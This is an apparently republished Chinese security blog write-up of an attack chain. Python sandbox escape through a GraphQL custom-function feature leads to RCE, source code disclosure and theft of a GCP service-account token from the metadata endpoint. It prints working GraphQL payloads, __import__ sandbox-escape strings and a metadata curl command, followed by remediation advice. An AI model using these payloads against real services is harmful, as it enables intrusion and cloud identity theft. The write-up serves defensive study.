GraphQLRCE:通往云身份的攻击链

admin 2026-04-16 03:31:33 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了通过GraphQL接口中未正确配置Python沙箱环境导致的完整攻击链:攻击者利用自定义函数功能注入恶意代码实现RCE,进而读取后端源码,通过云元数据服务获取JWT令牌,最终完成云身份接管。核心漏洞在于沙箱未禁用builtins,文章最后提出了禁用内置函数、屏蔽元数据IP和使用隔离环境等修复建议。 综合评分: 85 文章分类: 渗透测试,漏洞分析,云安全,WEB安全,安全建设


cover_image

GraphQL RCE:通往云身份的攻击链

haidragon haidragon

安全狗的自我修养

2026年4月15日 12:25 湖南

在小说阅读器读本章

去阅读

#

官网:http://securitytech.cc


从一个简单查询到生产环境“上帝权限”…!

想象一下:

你登录进一个现代 SaaS 平台……界面很丝滑、速度很快,而且有一个杀手级功能—— 👉 自定义 Python 函数(Custom Python Functions)

对普通用户来说,这是生产力工具…… 但对漏洞猎人来说—— 👉 这是一扇入口…!

在我之前的文章中,我教你如何“找到门”。 而今天我要讲的是:

👉 我是如何撬开锁、走进房子,最终拿走整个云基础设施的钥匙…!

这是一个从“Viewer(只读)账号”到 👉 完全接管云身份(Full Cloud Identity Compromise) 的过程。


🎣 沙箱的幻觉

现代应用喜欢“用户自定义逻辑”:

  • 表格公式
  • 自定义脚本

它们都有一个共同点:

👉 运行在一个 Sandbox(沙箱)

开发者以为:

👉 把用户限制在安全环境中

但攻击者会想:

👉 找到围栏里的漏洞

思维: 沙箱的安全性取决于最薄弱的一点。 如果服务器执行代码,那么问题不是“能不能逃”,而是“怎么逃”。


🗺️ 阶段 1:信息收集

任何攻击都从“地图”开始。

在 GraphQL 中,这个地图就是:

  • Introspection
  • 资源 ID

我需要:

  • workspaceId
  • appId

于是我执行:

query EnumerateResources {
  getMyUser {
    workspaces {
      id
      folders {
        apps {
          id
        }
      }
    }
  }
}

👉 拿到 ID 后,我已经不是访客,而是参与者。



🪵 阶段 2:漏洞利用

系统提供:

createUserDefinedFunction

👉 可以执行 Python


💥 注入 payload

mutation InjectPythonV3 {
 createUserDefinedFunction(input: {
  function: {
    pythonScript: "str(__import__('os').environ)"
  }
 })
}

👉 利用 __import__ 逃逸沙箱



🚀 触发执行

mutation TriggerRCE_V3 {
  evalFormula(input: {
    formula: "=hack_rce_v3()"
  }) {
    displayValue
  }
}


✅ 结果

返回:

  • GAE_RUNTIME: python313
  • 内部代理
  • 工作目录

👉 RCE 成功(已经进入容器)


🔍 阶段 3:读取源码

RCE 只是开始,源码才是关键。

我用:

__import__('subprocess').check_output(['cat','/workspace/main.py'])

读取后端代码



触发执行:



🚨 发现漏洞核心

global_ns= { "xl": xl, "xl_rows": xl_rows }
exec(compile(tree, "", "exec"), global_ns, global_ns)

👉 问题:

没有设置:

__builtins__= {}

👉 导致:

  • __import__

    可用

  • 沙箱完全失效


☁️ 阶段 4:云身份接管(Kill Shot)

目标:

👉 Google Cloud Metadata

169.254.169.254

💥 获取 JWT

curl-H"Metadata-Flavor: Google" \
http://169.254.169.254/.../identity


触发:



🎯 最终结果

拿到:

👉 OIDC JWT Token

解析后:

[email protected]

👉 已获得生产环境身份

👉 直接接管云服务


🧠 核心总结

现实中的攻击不是电影那样炫技:

👉 而是:

  • 好奇心
  • 多走一步
  • 一步步扩大权限

💥 最终影响

  • ✅ 任意命令执行(RCE)
  • ✅ 后端源码泄露
  • ✅ SSRF 攻击内部服务
  • ✅ 云服务账号接管

🛡️ 修复建议

1️⃣ 沙箱必须禁用 builtins:

{'__builtins__': {}}

2️⃣ 屏蔽元数据 IP:

169.254.169.254

3️⃣ 使用隔离环境:

  • Firecracker
  • gVisor

✅ 一句话总结

👉 一个漏掉的 __builtins__,直接导致从用户权限 → 云身份接管

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《GraphQL RCE:通往云身份的攻击链》

评论:0   参与:  0